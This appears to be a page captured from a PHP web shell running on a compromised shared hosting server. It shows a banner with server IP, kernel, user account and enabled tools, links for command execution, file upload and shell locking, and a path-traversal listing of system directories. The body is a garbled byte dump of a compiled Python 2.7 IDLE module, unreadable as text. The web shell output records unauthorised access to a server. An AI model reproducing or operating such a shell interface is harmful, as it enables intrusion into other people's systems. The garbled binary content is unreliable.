Server IP : 217.21.91.109 / Your IP : 216.73.216.18 Web Server : LiteSpeed System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u903744608 ( 903744608) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /etc/fonts/../my.cnf.d/../../../opt/../../lib64/python2.7/idlelib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
� {fc@s�dZddlZddlZddlmZddlZd�Zd�Zda d�Z d�Zd�Zd �Z d �Zd�Zd�Zd �Zd�Zd�ZdS(s5 A number of functions that enhance IDLE on Mac OSX. i����N(tpathcCstjdtdd�t�S(Ns/runningAsOSXApp() is deprecated, use isAquaTk()t stackleveli(twarningstwarntDeprecationWarningtisAquaTk(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pytrunningAsOSXApps cCstjdtdd�t�S(Ns4isCarbonAquaTk(root) is deprecated, use isCarbonTk()Ri(RRRt isCarbonTk(troot((s-/usr/lib64/python2.7/idlelib/macosxSupport.pytisCarbonAquaTks cCs�tjdkr~|jjdd�}d|kr9daq�d|krNdaq�d|jjd d d�krudaq�d andadS(sl Initializes OS X Tk variant values for isAquaTk(), isCarbonTk(), isCocoaTk(), and isXQuartz(). tdarwinttktwindowingsystemtx11txquartztaquatothertAppKittwinfotservert.tcocoatcarbonN(tsystplatformRtcallt_tk_type(Rtws((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt_initializeTkVariantTestss cCs(tdk st�tdkp'tdkS(sK Returns True if IDLE is using a native OS X Tk (Cocoa or Carbon). RRN(RtNonetAssertionError(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyR*scCstdk st�tdkS(sb Returns True if IDLE is using a Carbon Aqua Tk (instead of the newer Cocoa Aqua Tk). RN(RRR(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyR1scCstdk st�tdkS(s8 Returns True if IDLE is using a Cocoa Aqua Tk. RN(RRR(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt isCocoaTk9scCstdk st�tdkS(s7 Returns True if IDLE is using an OS X X11 Tk. RN(RRR(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt isXQuartz@scCsCt�r;|jjdd�}|dkr.tSdj|�StSdS(s2 Returns a string warning message if the Tk version in use appears to be one known to cause problems with IDLE. 1. Apple Cocoa-based Tk 8.5.7 shipped with Mac OS X 10.6 is unusable. 2. Apple Cocoa-based Tk 8.5.9 in OS X 10.7 and 10.8 is better but can still crash unexpectedly. tinfot patchlevels8.5.7s8.5.9s�WARNING: The version of Tcl/Tk ({0}) in use may be unstable.\nVisit http://www.python.org/download/mac/tcltk/ for current information.N(s8.5.7s8.5.9(RRRtFalsetformat(RR"((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyttkVersionWarningGs cs#�fd�}|jd|�dS(s� This ensures that the application will respond to open AppleEvents, which makes is feasible to use IDLE as the default application for python files. cs"x|D]}�j|�qWdS(N(topen(targstfn(tflist(s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt doOpenFile`s s::tk::mac::OpenDocumentN(t createcommand(RR)R*((R)s-/usr/lib64/python2.7/idlelib/macosxSupport.pytaddOpenEventSupport[scCs2y|jjdd�Wntjk r-nXdS(Ntconsolethide(RRtTkintertTclError(R((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt hideTkConsoleisc s�ddlm}ddlm}ddlm�|jddd}|jddd3|jddjd |�|jdddd 5|jddd=|��}�jd|�i}||dd dd�|d <}|jddd|dd�|�fd�}�j |�d'�fd�} d'��fd�} d'�fd�}�jd| ��jd| ��jd| ��r��jd�j ��jd�j �nt�r`||dddd�|d<}|jddd|�|jjddd(d'gf��jjd�}ttt|jd ���d)kr`|jddjd*�q`nt�r��jd%| ��jd&|�|jddd=nd'S(+sf Replace the Tk root menu by something that is more appropriate for IDLE with an Aqua Tk. i����(tMenu(tBindings(t WindowListiii����i����iitmenutnametwindowsttearofftlabeltWindowt underlinecsT|jd�}|dkr$d}n|dkrC|jd|�n�j|�dS(Ntendi����i(tindexRtdeletetadd_windows_to_menu(R5R<(R4(s-/usr/lib64/python2.7/idlelib/macosxSupport.pytpostwindowsmenu�s cs$ddlm}|j�d�dS(sHandle Help 'About IDLE' event.i����(taboutDialogs About IDLEN(tidlelibRAtAboutDialog(teventRA(R(s-/usr/lib64/python2.7/idlelib/macosxSupport.pytabout_dialog�scs0ddlm}�j�_|j�d�dS(s&Handle Options 'Configure IDLE' event.i����(tconfigDialogtSettingsN(RBRFtinversedictt instance_dicttConfigDialog(RDRF(R)R(s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt config_dialog�scs!ddlm}|j��dS(sHandle Help 'IDLE Help' event.i����(thelpN(RBRLt show_idlehelp(RDRL(R(s-/usr/lib64/python2.7/idlelib/macosxSupport.pythelp_dialog�ss<<about-idle>>s<<open-config-dialog>>s::tk::mac::ShowPreferencess<<close-all-windows>>texittappletapplicationtIDLEs About IDLEsinfo patchlevelRiiis_Preferences....t tkAboutDialogs::tk::mac::ShowHelpN(s About IDLEs<<about-idle>>(iii(s_Preferences....s<<open-config-dialog>>(R/R2RBR3R4tmenudefstinsertt configuretadd_cascadetregister_callbackRtbindR+tclose_all_callbackRRtevalttupletmaptinttsplittappendR( RR)R2R3t closeItemtmenubartmenudictR5R@RERKRNt tkversion((R4R)Rs-/usr/lib64/python2.7/idlelib/macosxSupport.pytoverrideRootMenupsP $ cCs>t|�t�r:t|�t||�t||�ndS(s� Perform initial OS X customizations if needed. Called from PyShell.main() after initial calls to Tk() There are currently three major versions of Tk in use on OS X: 1. Aqua Cocoa Tk (native default since OS X 10.6) 2. Aqua Carbon Tk (original native, 32-bit only, deprecated) 3. X11 (supported by some third-party distributors, deprecated) There are various differences among the three that affect IDLE behavior, primarily with menus, mouse key events, and accelerators. Some one-time customizations are performed here. Others are dynamically tested throughout idlelib by calls to the isAquaTk(), isCarbonTk(), isCocoaTk(), isXQuartz() functions which are initialized here as well. N(RRR1ReR,(RR)((s-/usr/lib64/python2.7/idlelib/macosxSupport.pytsetupApp�s (t__doc__RR/tosRRRR RRRRRRR R%R,R1ReRf(((s-/usr/lib64/python2.7/idlelib/macosxSupport.pyt<module>s" i